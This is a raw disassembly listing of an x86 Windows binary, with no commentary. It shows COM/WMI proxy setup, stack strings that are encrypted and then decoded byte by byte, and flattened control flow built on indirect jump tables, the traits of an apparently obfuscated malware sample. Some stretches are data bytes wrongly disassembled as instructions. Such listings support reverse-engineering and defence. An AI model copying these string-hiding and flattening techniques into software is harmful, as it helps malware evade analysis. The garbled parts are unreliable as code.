mov cx, word [esp + 0x1e8]
sub cx, 8
sete cl
mov edx, dword [esp + 0x438]
mov edi, dword [esp + 0x43c]
mov edx, dword [edi + edx*4]
jmp edx
cmp bh, ch
xor al, dh
mov eax, dword [ebx + 0x10]
lea ecx, [esp + 0x1d8]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x50]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x25c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x330], 0
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x368]
mov ecx, dword [esp + 0x36c]
mov eax, dword [ecx + eax*4]
jmp eax
mov cx, word [esp + 0x1d8]
sub cx, 8
sete cl
mov edx, dword [esp + 0x348]
mov edi, dword [esp + 0x34c]
mov edx, dword [edi + edx*4]
jmp edx
jmp 0xc1d75a06
mov ecx, dword [esp + 0x3d8]
mov edx, dword [esp + 0x3dc]
mov ecx, dword [edx + ecx*4]
jmp ecx
loope 0x434af9
mov ah, 0x35
mov dword [esp], ebx
call fcn.0040cb70
mov eax, dword [esp + 0x250]
mov ecx, dword [esp + 0x254]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x248]
mov ecx, dword [esp + 0x24c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ah, 0x87
mov al, 0x6f
cld
movsb byte es:[edi], byte [esi]
sub esi, dword [0xa42484c7]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x1002484], cl
add byte [eax], al
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edx, [esp + 0xa4]
mov dword [esp + 0x10], edx
lea edx, [esp + 0x28]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
sub esp, 0x14
mov eax, dword [esp + 0x288]
mov ecx, dword [esp + 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x318], 0
mov eax, dword [esp + 0x31c]
mov ecx, dword [esp + 0x318]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x164]
mov byte [esp + 0x16c], al
mov byte [esp + 0x194], 0x2e
mov byte [esp + 0x195], 0x9f
mov byte [esp + 0x196], 0x2f
mov byte [esp + 0x197], 0x91
mov byte [esp + 0x198], 0x21
mov byte [esp + 0x199], 0x93
mov byte [esp + 0x19a], 0x26
mov byte [esp + 0x19b], 0x95
mov byte [esp + 0x19c], 0x38
mov byte [esp + 0x19d], 0x97
mov byte [esp + 0x19e], 0xd3
mov byte [esp + 0x19f], 0x89
mov byte [esp + 0x1a0], 0x33
mov byte [esp + 0x1a1], 0x8b
mov byte [esp + 0x1a2], 0x35
mov byte [esp + 0x1a3], 0x8d
mov byte [esp + 0x1a4], 0x3a
mov byte [esp + 0x1a5], 0x8f
mov byte [esp + 0x1a6], 0xdc
mov byte [esp + 0x1a7], 0x81
mov byte [esp + 0x1a8], 0x80
mov byte [esp + 0x1a9], 0x83
mov eax, 0x16
mov byte [esp + eax + 0x194], 0
add eax, 1
cmp eax, 0x1c
jne 0x434c99
mov dword [esp + 0x70], 0
mov eax, dword [esp + 0x70]
cmp eax, 0x1c
jae 0x434cec
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x70]
movzx ecx, byte [esp + ecx + 0x194]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b1d0
mov ecx, dword [esp + 0x70]
mov byte [esp + ecx + 0x194], al
mov eax, dword [esp + 0x70]
inc eax
mov dword [esp + 0x70], eax
jmp 0x434cb1
mov dword [esp + 0x228], edi
lea eax, [esp + 0x194]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov edi, eax
mov ecx, dword [esp + 0x168]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
lea edx, [esp + 0xa8]
mov dword [esp + 0x20], edx
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x24
not eax
shr eax, 0x1f
mov dword [esp + 0x480], eax
mov eax, dword [esp + 0x484]
mov ecx, dword [esp + 0x480]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x1e8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x1c8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0x28]
mov al, byte [esp + 0x6c]
mov byte [esp + 0x184], al
mov byte [esp + 0x2c], 0x68
mov byte [esp + 0x2d], 0x2b
mov byte [esp + 0x2e], 0x9b
mov byte [esp + 0x2f], 0x29
mov byte [esp + 0x30], 0x8d
mov byte [esp + 0x31], 0x2f
mov byte [esp + 0x32], 0x89
mov byte [esp + 0x33], 0x2d
mov byte [esp + 0x34], 0x80
mov byte [esp + 0x35], 0x33
mov byte [esp + 0x36], 0x76
mov byte [esp + 0x37], 0x31
mov byte [esp + 0x38], 0x97
mov byte [esp + 0x39], 0x37
mov byte [esp + 0x3a], 0x82
mov byte [esp + 0x3b], 0x35
mov byte [esp + 0x3c], 0x9f
mov byte [esp + 0x3d], 0x3b
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], 0x39
mov byte [esp + 0x40], 0x97
mov byte [esp + 0x41], 0x3f
mov byte [esp + 0x42], 0x8d
mov byte [esp + 0x43], 0x3d
mov byte [esp + 0x44], 0x97
mov byte [esp + 0x45], 3
mov byte [esp + 0x46], 2
mov byte [esp + 0x47], 1
mov dword [esp + 0x84], 0
mov eax, dword [esp + 0x84]
cmp eax, 0x1c
jae 0x434e8e
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0x84]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b380
mov ecx, dword [esp + 0x84]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0x84]
inc eax
mov dword [esp + 0x84], eax
jmp 0x434e47
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1c8]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x1c8]
sub cx, 8
sete cl
and al, cl
mov dword [esp + 0x408], 0
mov ecx, dword [esp + 0x40c]
mov edx, dword [esp + 0x408]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x390], 1
mov eax, dword [esp + 0x394]
mov ecx, dword [esp + 0x390]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x3a8]
mov ecx, dword [esp + 0x3ac]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esp + 0x350]
mov edx, dword [esp + 0x354]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, edi
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0043b140
mov byte [eax], 0
mov dword [esp + 0x3c8], 0
mov eax, dword [esp + 0x3cc]
mov ecx, dword [esp + 0x3c8]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x1d8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x300]
mov ecx, dword [esp + 0x304]
mov eax, dword [ecx + eax*4]
jmp eax
das
lea edi, [edx - 0x17db7b73]
add dword [eax], eax
add byte [ecx + 0x15ff2404], cl
dec eax
out 0x44, eax
add byte [ebx - 0x7b72fb14], al
and al, 0xc8
add dword [eax], eax
add byte [ecx + 0x15ff2404], cl
dec esp
out 0x44, eax
add byte [ebx + 0x7c8b04ec], al
and al, 0x28
mov al, byte [esp + 0x6c]
mov byte [esp + 0x180], al
mov byte [esp + 0x2c], 0x68
mov byte [esp + 0x2d], 0x2b
mov byte [esp + 0x2e], 0x9b
mov byte [esp + 0x2f], 0x29
mov byte [esp + 0x30], 0x8d
mov byte [esp + 0x31], 0x2f
mov byte [esp + 0x32], 0x89
mov byte [esp + 0x33], 0x2d
mov byte [esp + 0x34], 0x80
mov byte [esp + 0x35], 0x33
mov byte [esp + 0x36], 0x76
mov byte [esp + 0x37], 0x31
mov byte [esp + 0x38], 0x97
mov byte [esp + 0x39], 0x37
mov byte [esp + 0x3a], 0x82
mov byte [esp + 0x3b], 0x35
mov byte [esp + 0x3c], 0x9f
mov byte [esp + 0x3d], 0x3b
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], 0x39
mov byte [esp + 0x40], 0x97
mov byte [esp + 0x41], 0x3f
mov byte [esp + 0x42], 0x8d
mov byte [esp + 0x43], 0x3d
mov byte [esp + 0x44], 0x97
mov byte [esp + 0x45], 3
mov byte [esp + 0x46], 2
mov byte [esp + 0x47], 1
mov dword [esp + 0x88], 0
mov eax, dword [esp + 0x88]
cmp eax, 0x1c
jae 0x4350eb
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x88]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b380
mov ecx, dword [esp + 0x88]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0x88]
inc eax
mov dword [esp + 0x88], eax
jmp 0x4350a4
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1c8]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
mov eax, dword [esp + 0x280]
mov ecx, dword [esp + 0x284]
mov eax, dword [ecx + eax*4]
jmp eax
and al, cl
mov ecx, dword [esp + 0x430]
mov edx, dword [esp + 0x434]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov dword [esp + 0x22c], edi
call fcn.0041d2d0
mov dword [esp + 0x478], 1
mov eax, dword [esp + 0x47c]
mov ecx, dword [esp + 0x478]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0xa4], 0
mov eax, dword [esp + 0x100]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edx, [esp + 0xa4]
mov dword [esp + 0x10], edx
lea edx, [esp + 0x28]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
sub esp, 0x14
test eax, eax
setns cl
sub eax, 1
setne al
mov edx, dword [esp + 0xa4]
test edx, edx
setne dl
and al, dl
and al, cl
mov dword [esp + 0x450], 0
mov ecx, dword [esp + 0x454]
mov edx, dword [esp + 0x450]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x3b0], 0
mov eax, dword [esp + 0x3b4]
mov ecx, dword [esp + 0x3b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x1c0], edi
lea eax, [esp + 0x1e8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0x28]
mov al, byte [esp + 0xe8]
mov byte [esp + 0x178], al
mov byte [esp + 0xec], 0x61
mov byte [esp + 0xed], 0x2b
mov byte [esp + 0xee], 0x4d
mov byte [esp + 0xef], 0x29
mov byte [esp + 0xf0], 0xb8
mov byte [esp + 0xf1], 0x2f
mov byte [esp + 0xf2], 0xba
mov byte [esp + 0xf3], 0x2d
mov byte [esp + 0xf4], 0x43
mov byte [esp + 0xf5], 0x53
mov byte [esp + 0xf6], 0xc3
mov byte [esp + 0xf7], 0x51
mov byte [esp + 0xf8], 0xc2
mov byte [esp + 0xf9], 0x57
mov byte [esp + 0xfa], 0x56
mov byte [esp + 0xfb], 0x55
mov eax, 0x10
mov byte [esp + eax + 0xec], 0
add eax, 1
cmp eax, 0x12
jne 0x4352c9
mov dword [esp + 0x7c], 0
mov eax, dword [esp + 0x7c]
cmp eax, 0x12
jae 0x43531c
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x7c]
movzx ecx, byte [esp + ecx + 0xec]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b2c0
mov ecx, dword [esp + 0x7c]
mov byte [esp + ecx + 0xec], al
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x4352e1
mov eax, dword [edi]
add eax, 0x10
mov ecx, dword [esp + 0x440]
mov edx, dword [esp + 0x444]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x2e0]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [ecx + eax*4]
mov esi, dword [esp + 0x224]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x2c0], 1
mov eax, dword [esp + 0x2c4]
mov ecx, dword [esp + 0x2c0]
mov eax, dword [eax + ecx*4]
jmp eax
xchg edi, eax
imul ebp, dword [edx - 0x74], 0xfe7efd65
mov dword [esp], ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov dword [esp], esi
call edi
sub esp, 4
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x244]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xa8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x2d8]
mov ecx, dword [esp + 0x2dc]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x22c]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x448], eax
mov eax, dword [esp + 0x44c]
mov ecx, dword [esp + 0x448]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x380]
mov ecx, dword [esp + 0x384]
mov eax, dword [ecx + eax*4]
jmp eax
lea eax, [esp + 0x1d8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0x28]
mov al, byte [esp + 0x4c]
mov byte [esp + 0x190], al
mov byte [esp + 0x50], 0xa1
mov byte [esp + 0x51], 0xf9
mov byte [esp + 0x52], 0x44
mov byte [esp + 0x53], 0xf7
mov byte [esp + 0x54], 0x7b
mov byte [esp + 0x55], 0xf5
mov byte [esp + 0x56], 0x7e
mov byte [esp + 0x57], 0xf3
mov byte [esp + 0x58], 0x51
mov byte [esp + 0x59], 0xf1
mov byte [esp + 0x5a], 0x7a
mov byte [esp + 0x5b], 0xcf
mov byte [esp + 0x5c], pe_nt_image_headers32
mov byte [esp + 0x5d], 0xcd
mov byte [esp + 0x5e], 0x96
mov byte [esp + 0x5f], 0xcb
mov byte [esp + 0x60], 0x69
mov byte [esp + 0x61], 0xc9
mov byte [esp + 0x62], 0x4a
mov byte [esp + 0x63], 0xc7
mov byte [esp + 0x64], 0x79
mov byte [esp + 0x65], 0xc5
mov byte [esp + 0x66], 0xc2
mov byte [esp + 0x67], 0xc3
mov eax, 0x18
mov byte [esp + eax + 0x50], 0
add eax, 1
cmp eax, 0x1b
jne 0x4354b5
mov dword [esp + 0x90], 0
mov eax, dword [esp + 0x90]
cmp eax, 0x1b
jae 0x435514
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x90]
movzx ecx, byte [esp + ecx + 0x50]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b410
mov ecx, dword [esp + 0x90]
mov byte [esp + ecx + 0x50], al
mov eax, dword [esp + 0x90]
inc eax
mov dword [esp + 0x90], eax
jmp 0x4354cd
mov ebx, dword [edi]
mov dword [esp + 0x370], 0
mov eax, dword [esp + 0x374]
mov ecx, dword [esp + 0x370]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x310], 1
mov eax, dword [esp + 0x314]
mov ecx, dword [esp + 0x310]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x420], eax
mov eax, dword [esp + 0x424]
mov ecx, dword [esp + 0x420]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x458], 1
mov eax, dword [esp + 0x45c]
mov ecx, dword [esp + 0x458]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x2c8], 1
mov eax, dword [esp + 0x2cc]
mov ecx, dword [esp + 0x2c8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1d0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantInit]
call eax
sub esp, 4
mov edx, dword [esp + 0x1d0]
mov dword [esp + 0x204], eax
lea ecx, [edx + eax*2]
mov dword [esp + 4], ecx
mov dword [esp], edx
call fcn.00433790
mov edi, eax
mov eax, dword [esp + 0x3f8]
mov ecx, dword [esp + 0x3fc]
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x400], eax
mov eax, dword [esp + 0x404]
mov ecx, dword [esp + 0x400]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x30c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0x224], esi
call fcn.0041d2d0
mov dword [esp + 0x2f0], 1
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x1c4]
mov esi, edi
jmp eax
mov word [eax + esi*8], fs
add al, byte [eax]
add byte [ebx - 0x637477fc], cl
and al, 0xc4
add dword [eax], eax
add byte [ecx - 0x171f0002], cl
call fcn.0041d2d0
call fcn.0041d2d0
lea eax, [esp + 0x1c8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov dword [esp + 0x388], 0
mov eax, dword [esp + 0x38c]
mov ecx, dword [esp + 0x388]
mov eax, dword [eax + ecx*4]
jmp eax
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], edi
call fcn.0040cb70
mov eax, dword [esp + 0x3c0]
mov ecx, dword [esp + 0x3c4]
mov eax, dword [ecx + eax*4]
jmp eax
out 0x52, al
jno 0x435655
lea eax, [esp + 0x1c8]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov eax, dword [esp + 0x268]
mov ecx, dword [esp + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp], ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov dword [esp], esi
call edi
sub esp, 4
mov dword [esp + 0x2e8], 0
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [ebx + 0x10]
lea ecx, [esp + 0x1d8]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x50]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov dword [esp + 0x358], 1
mov ecx, dword [esp + 0x35c]
mov edx, dword [esp + 0x358]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x3b8], 1
mov eax, dword [esp + 0x3bc]
mov ecx, dword [esp + 0x3b8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp + 0x3e8], 0
mov eax, dword [esp + 0x3ec]
mov ecx, dword [esp + 0x3e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1f0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov dword [esp + 0x200], eax
mov edi, dword [esp + 0x1f0]
mov ecx, eax
shl ecx, 1
mov edx, edi
add edx, ecx
mov dword [esp], edi
mov dword [esp + 4], edx
call fcn.00433790
mov edi, eax
mov dword [esp + 0x218], edi
add edi, 1
mov dword [esp], edi
call fcn.0040cb60
mov dword [esi], eax
mov ecx, dword [esp + 0x1f0]
mov edx, dword [esp + 0x200]
shl edx, 1
mov dword [esp + 0x1b8], ecx
add ecx, edx
mov dword [esp + 0x1b4], ecx
mov ecx, eax
add ecx, edi
mov dword [esp + 0x20c], ecx
add ecx, 0xffffffff
cmp eax, ecx
mov edi, dword [esp + 0x218]
jae 0x4358f2
cmp dword [esp + 0x1b4], 0
sete byte [esp + 0x6e]
mov ecx, dword [esp + 0x1b8]
mov edx, ecx
sub edx, dword [esp + 0x1b4]
setb dl
mov dh, byte [esp + 0x6e]
or dh, dl
test dh, 1
jne 0x435885
jmp 0x4358f2
mov dx, word [ecx]
mov word [esp + 0x9e], dx
movzx edx, word [esp + 0x9e]
mov dword [esp + 0x1fc], edx
cmp word [esp + 0x9e], 0
je 0x4358f2
add ecx, 2
mov dword [esp + 0x1b8], ecx
mov edx, eax
xor edx, 0xffffffff
mov edi, dword [esp + 0x20c]
add edx, edi
mov dword [esp], eax
mov dword [esp + 4], edx
mov ecx, dword [esp + 0x1fc]
mov dword [esp + 8], ecx
mov dword [esp + 0x208], eax
call fcn.0043b080
mov ecx, eax
mov eax, dword [esp + 0x208]
add eax, ecx
mov ecx, edi
jmp 0x435846
mov byte [eax], 0
mov al, byte [esp + 0xd8]
mov byte [esp + 0x17c], al
mov byte [esp + 0xdc], 0xb5
mov byte [esp + 0xdd], 0xa4
mov byte [esp + 0xde], 0xa0
mov byte [esp + 0xdf], 0xd5
mov byte [esp + 0xe0], 0xe1
mov byte [esp + 0xe1], 0xea
mov byte [esp + 0xe2], 0xe7
mov byte [esp + 0xe3], 0x75
mov eax, 8
mov byte [esp + eax + 0xdc], 0
add eax, 1
cmp eax, 0xb
jne 0x435948
mov dword [esp + 0x80], 0
mov eax, dword [esp + 0x80]
cmp eax, 0xb
jae 0x4359b0
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x80]
movzx ecx, byte [esp + ecx + 0xdc]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043b310
mov ecx, dword [esp + 0x80]
mov byte [esp + ecx + 0xdc], al
mov eax, dword [esp + 0x80]
inc eax
mov dword [esp + 0x80], eax
jmp 0x435963
mov eax, dword [esi]
lea ecx, [esp + 0xdc]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00424bc0
mov dword [esp + 0x98], eax
mov ecx, dword [esi]
mov dword [esp + 0xa0], ecx
sub eax, ecx
mov ecx, eax
not ecx
setb byte [esp + 0x6f]
mov edx, edi
xor edx, eax
and edi, ecx
add edi, edi
sub edi, edx
mov eax, edi
inc eax
mov dword [esp + 0x48], eax
call fcn.0041d2d0
call fcn.0041d2d0
mov ecx, dword [esp + 0x98]
mov edx, dword [esp + 0xa0]
lea eax, [ecx + edi + 1]
sub eax, edx
seta al
mov ah, byte [esp + 0x6f]
and ah, al
test ah, 1
jne 0x435aae
mov ecx, dword [esp + 0x48]
shr ecx, 2
mov edi, edx
mov eax, dword [esp + 0x98]
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov ecx, dword [esp + 0x48]
mov eax, ecx
and eax, 0xfffffffc
add edx, eax
mov dword [esp + 0xa0], edx
add dword [esp + 0x98], eax
mov eax, ecx
and eax, 3
mov ecx, eax
shr ecx, 1
mov edx, dword [esp + 0x98]
mov edi, dword [esp + 0xa0]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov edx, dword [esp + 0xa0]
mov ecx, dword [esp + 0x98]
xor eax, 1
mov edi, dword [esp + 0x48]
and eax, edi
add edx, eax
add ecx, eax
and edi, 1
cmp edi, 0
je 0x435ada
add edi, 0xffffffff
mov dword [esp + 0x48], edi
mov eax, ecx
add eax, 1
mov cl, byte [ecx]
mov edi, edx
mov edx, edi
add edx, 1
mov byte [edi], cl
mov edi, dword [esp + 0x48]
mov ecx, eax
jmp 0x435a8a
add edx, edi
add ecx, edi
mov edi, dword [esp + 0x48]
mov eax, edi
add edi, 0xffffffff
cmp eax, 0
je 0x435ad8
mov dword [esp + 0x48], edi
mov eax, ecx
add eax, 0xffffffff
mov cl, byte [ecx]
mov edi, edx
mov edx, edi
add edx, 0xffffffff
mov byte [edi], cl
mov ecx, eax
jmp 0x435ab2
jmp 0x435adc
jmp 0x435adc
mov eax, dword [esp + 0x418]
mov ecx, dword [esp + 0x41c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, dword [esp + 0x3d0]
mov edx, dword [esp + 0x3d4]
mov eax, dword [edx + eax*4]
mov edi, dword [esp + 0x1bc]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x468], ecx
mov eax, dword [esp + 0x46c]
mov ecx, dword [esp + 0x468]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x428]
mov edx, dword [esp + 0x42c]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0041d2d0
mov dword [esp + 0x410], 1
mov eax, dword [esp + 0x414]
mov ecx, dword [esp + 0x410]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov dword [esp], ebx
call fcn.0040cb70
mov dword [esp + 0x328], 0
mov eax, dword [esp + 0x32c]
mov ecx, dword [esp + 0x328]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
xor ecx, ecx
test eax, eax
setns al
mov dword [esp + 0x470], 0
mov edx, dword [esp + 0x474]
mov edi, dword [esp + 0x470]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, dword [esp + 0x260]
mov ecx, dword [esp + 0x264]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x160]
jmp eax
call fcn.0041d2d0
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x1e0], 1
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x138]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
xor eax, eax
test ebx, ebx
sete al
mov dword [esp + 0x268], eax
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [ecx]
mov edx, dword [esp + 0x218]
mov edi, dword [esp + 0x21c]
mov edx, dword [edi + edx*4]
jmp edx
mov eax, dword [esp + 0x1c0]
mov ecx, dword [esp + 0x1c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2bc]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x2f8]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [ecx + eax*4]
jmp eax
out dx, al
adc cl, byte [0x24448ba9]
inc eax
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x1ac]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d2d0
mov dword [esp], esi
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x1c8], 1
mov eax, dword [esp + 0x1cc]
mov ecx, dword [esp + 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
